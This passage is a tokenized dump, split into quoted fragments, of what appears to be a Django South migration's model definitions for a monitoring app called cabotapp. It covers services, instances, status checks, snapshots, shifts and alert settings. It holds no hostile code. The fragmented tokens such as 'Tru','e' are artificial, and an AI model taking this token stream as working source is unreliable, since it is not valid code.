"'\"_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "to", "'_", ":_", "u", "\"", "orm", "['", "auth", ".", "Permi", "ssion", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "user", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "unique", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "max", "\\u", "length", "'_", ":_", "'", "30", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "cab", "ota", "pp", ".", "alert", "acknowledge", "ment", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "object\\u", "name", "'_", ":_", "'", "Alert", "Ack", "nowl", "edge", "ment", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "cancel", "led", "\\u", "time", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "cancel", "led", "\\u", "user", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "relate", "d\\u", "name", "'_", ":_", "\"'", "cancel", "led", "user", "\\u", "set", "'\"_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "to", "'_", ":_", "u", "\"", "orm", "['", "auth", ".", "User", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "service", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "u", "\"", "orm", "['", "cab", "ota", "pp", ".", "Service", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "time", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "user", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "u", "\"", "orm", "['", "auth", ".", "User", "']\"_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "cab", "ota", "pp", ".", "alert", "plugin", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "object\\u", "name", "'_", ":_", "'", "Alert", "Plug", "in", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "enable", "d", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "polymorphic", "\\u", "ctype", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "relate", "d\\u", "name", "'_", ":_", "\"", "u", "'", "polymorphic", "\\u", "cab", "ota", "pp", ".", "alert", "plugin", "\\u", "set", "'\"_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "to", "'_", ":_", "u", "\"", "orm", "['", "contenttype", "s", ".", "Conten", "t", "Type", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "title", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "unique", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "max", "\\u", "length", "'_", ":_", "'", "30", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "cab", "ota", "pp", ".", "alert", "plugin", "userdata", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "unique", "\\u", "tog", "ether", "'_", ":_", "\"(", "('", "title", "',", " ", "'", "user", "'),)\"_", ",_", "'", "object\\u", "name", "'_", ":_", "'", "Alert", "Plug", "in", "User", "Data", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "polymorphic", "\\u", "ctype", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "relate", "d\\u", "name", "'_", ":_", "\"", "u", "'", "polymorphic", "\\u", "cab", "ota", "pp", ".", "alert", "plugin", "userdata", "\\u", "set", "'\"_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "to", "'_", ":_", "u", "\"", "orm", "['", "contenttype", "s", ".", "Conten", "t", "Type", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "title", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "30", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "user", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "u", "\"", "orm", "['", "cab", "ota", "pp", ".", "User", "Profil", "e", "']\"_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "cab", "ota", "pp", ".", "instance", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "orderi", "ng", "'_", ":_", "\"[", "'", "name", "']\"_", ",_", "'", "object\\u", "name", "'_", ":_", "'", "Insta", "nce", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "address", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "alert", "s", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Many", "To", "Many", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "u", "\"", "orm", "['", "cab", "ota", "pp", ".", "Alert", "Plug", "in", "']\"_", ",_", "'", "symmetric", "al", "'_", ":_", "'", "Fal", "se", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "alert", "s", "\\u", "enable", "d", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "email", "\\u", "alert", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "hack", "pad", "\\u", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "hip", "chat", "\\u", "alert", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "last", "\\u", "alert", "\\u", "sent", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "old", "\\u", "over", "all", "\\u", "status", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "\"'", "PASS", "ING", "'\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "over", "all", "\\u", "status", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "\"'", "PASS", "ING", "'\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sms", "\\u", "alert", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "\\u", "checks", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Many", "To", "Many", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "u", "\"", "orm", "['", "cab", "ota", "pp", ".", "Status", "Check", "']\"_", ",_", "'", "symmetric", "al", "'_", ":_", "'", "Fal", "se", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "telephone", "\\u", "alert", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "users", "\\u", "to", "\\u", "notif", "y", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Many", "To", "Many", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "u", "\"", "orm", "['", "auth", ".", "User", "']\"_", ",_", "'", "symmetric", "al", "'_", ":_", "'", "Fal", "se", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "cab", "ota", "pp", ".", "instance", "status", "snapshot", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "object\\u", "name", "'_", ":_", "'", "Insta", "nce", "Status", "Snapshot", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "did", "\\u", "send", "\\u", "alert", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Integer", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "instance", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "relate", "d\\u", "name", "'_", ":_", "\"'", "snapshot", "s", "'\"_", ",_", "'", "to", "'_", ":_", "u", "\"", "orm", "['", "cab", "ota", "pp", ".", "Insta", "nce", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "num", "\\u", "checks", "\\u", "active", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Integer", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "0", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "num", "\\u", "checks", "\\u", "faili", "ng", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Integer", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "0", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "num", "\\u", "checks", "\\u", "passi", "ng", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Integer", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "0", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "over", "all", "\\u", "status", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "\"'", "PASS", "ING", "'\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "time", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "db", "\\u", "index", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "cab", "ota", "pp", ".", "service", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "orderi", "ng", "'_", ":_", "\"[", "'", "name", "']\"_", ",_", "'", "object\\u", "name", "'_", ":_", "'", "Service", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "alert", "s", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Many", "To", "Many", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "u", "\"", "orm", "['", "cab", "ota", "pp", ".", "Alert", "Plug", "in", "']\"_", ",_", "'", "symmetric", "al", "'_", ":_", "'", "Fal", "se", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "alert", "s", "\\u", "enable", "d", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "email", "\\u", "alert", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "hack", "pad", "\\u", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "hip", "chat", "\\u", "alert", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "instance", "s", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Many", "To", "Many", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "u", "\"", "orm", "['", "cab", "ota", "pp", ".", "Insta", "nce", "']\"_", ",_", "'", "symmetric", "al", "'_", ":_", "'", "Fal", "se", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "last", "\\u", "alert", "\\u", "sent", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "old", "\\u", "over", "all", "\\u", "status", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "\"'", "PASS", "ING", "'\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "over", "all", "\\u", "status", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "\"'", "PASS", "ING", "'\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sms", "\\u", "alert", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "\\u", "checks", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Many", "To", "Many", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "u", "\"", "orm", "['", "cab", "ota", "pp", ".", "Status", "Check", "']\"_", ",_", "'", "symmetric", "al", "'_", ":_", "'", "Fal", "se", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "telephone", "\\u", "alert", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "url", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "users", "\\u", "to", "\\u", "notif", "y", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Many", "To", "Many", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "u", "\"", "orm", "['", "auth", ".", "User", "']\"_", ",_", "'", "symmetric", "al", "'_", ":_", "'", "Fal", "se", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "cab", "ota", "pp", ".", "service", "status", "snapshot", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "object\\u", "name", "'_", ":_", "'", "Service", "Status", "Snapshot", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "did", "\\u", "send", "\\u", "alert", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Integer", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "num", "\\u", "checks", "\\u", "active", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Integer", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "0", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "num", "\\u", "checks", "\\u", "faili", "ng", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Integer", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "0", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "num", "\\u", "checks", "\\u", "passi", "ng", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Integer", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "0", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "over", "all", "\\u", "status", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "\"'", "PASS", "ING", "'\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "service", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "relate", "d\\u", "name", "'_", ":_", "\"'", "snapshot", "s", "'\"_", ",_", "'", "to", "'_", ":_", "u", "\"", "orm", "['", "cab", "ota", "pp", ".", "Service", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "time", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "db", "\\u", "index", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "cab", "ota", "pp", ".", "shift", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "object\\u", "name", "'_", ":_", "'", "Shi", "ft", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "delete", "d", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "end", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "start", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "uid", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "user", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "u", "\"", "orm", "['", "auth", ".", "User", "']\"_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "cab", "ota", "pp", ".", "statusc", "heck", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "orderi", "ng", "'_", ":_", "\"[", "'", "name", "']\"_", ",_", "'", "object\\u", "name", "'_", ":_", "'", "Status", "Check", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "active", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "allow", "ed", "\\u", "num", "\\u", "fail", "ure", "s", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Integer", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "0", "'_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "cache", "d\\u", "health", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "calculated", "\\u", "status", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "\"'", "passi", "ng", "'\"_", ",_", "'", "max", "\\u", "length", "'_", ":_", "'", "50", "'_", ",_", "'", "blank", "'_", ":_", "'", 